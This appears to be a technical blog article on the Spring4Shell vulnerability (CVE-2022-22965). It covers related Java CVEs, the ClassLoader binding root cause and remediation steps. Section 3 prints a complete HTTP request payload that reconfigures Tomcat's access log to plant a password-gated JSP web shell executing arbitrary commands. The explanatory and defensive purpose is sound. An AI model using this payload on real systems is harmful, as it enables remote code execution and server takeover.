1. March 2022: The Spring4Shell Panic
In late March 2022, rumors of a zero-day vulnerability in the Spring Framework spread across cybersecurity channels. When CVE-2022-22965 (Spring4Shell) was officially confirmed with a CVSS score of 9.8, engineering teams feared a repeat of Log4Shell. However, deep architectural analysis revealed strict prerequisites: the target had to run on Java 9+, packaged as a traditional WAR file deployed to a standalone Apache Tomcat container.
2. Java Framework CVE Matrix
| CVE ID | CVSS | Package | Root Cause |
|---|---|---|---|
| CVE-2022-22965 (Spring4Shell) | 9.8 | Spring MVC / WebFlux | Data Binding ClassLoader Property Injection |
| CVE-2022-22963 | 9.8 | Spring Cloud Function | Routing Expression SpEL Injection |
| CVE-2022-22947 | 10.0 | Spring Cloud Gateway | Actuator SpEL Code Injection |
| CVE-2022-42889 (Text4Shell) | 9.8 | Apache Commons Text | StringSubstitutor Lookup Injection |
3. Technical Root Cause: The Module ClassLoader Bypass
Spring MVC provides automated data binding via @ModelAttribute. While Java 8 blocked class.classLoader, Java 9 introduced the Module System (Project Jigsaw), adding class.module.classLoader. Spring's blacklist failed to account for module.
By chaining property accessors, attackers manipulated Tomcat's AccessLogValve to write a JSP web shell directly into the document root:
POST /cart/update HTTP/1.1
Host: shop.enterprise-retail.com
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7Bjava.io.InputStream%20in%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
4. Remediation & Hardening Blueprint
- Upgrade Spring Framework to 5.3.18+ or 5.2.20+.
- Standardize on standalone Spring Boot executable JAR deployments with embedded Tomcat.
- Deploy WAF rules blocking request parameters matching
class.module.*orclass.classLoader.*.
Suggested & Related Reading
Explore related engineering guides from Kenneth D'Silva:
-
Atlassian Confluence OGNL Injection & Setup Bypass (CVE-2022-26134 & CVE-2023-22515)
A technical examination of Atlassian Confluence vulnerabilities (CVE-2022-26134 and CVE-2023...
-
GoAnywhere MFT Remote Code Execution (CVE-2023-0669): Zero-Day Deserialization
A technical examination of Fortra GoAnywhere MFT remote code execution (CVE-2023-0669), AES ...
-
Apache HTTP Server Path Traversal & RCE (CVE-2021-41773 & CVE-2021-42013)
A technical autopsy of Apache HTTP Server path traversal and RCE vulnerabilities (CVE-2021-4...
-
ProxyLogon & ProxyShell: How Microsoft Exchange Was Owned in 2021
An architectural deep dive into Microsoft Exchange ProxyLogon (CVE-2021-26855) and ProxyShel...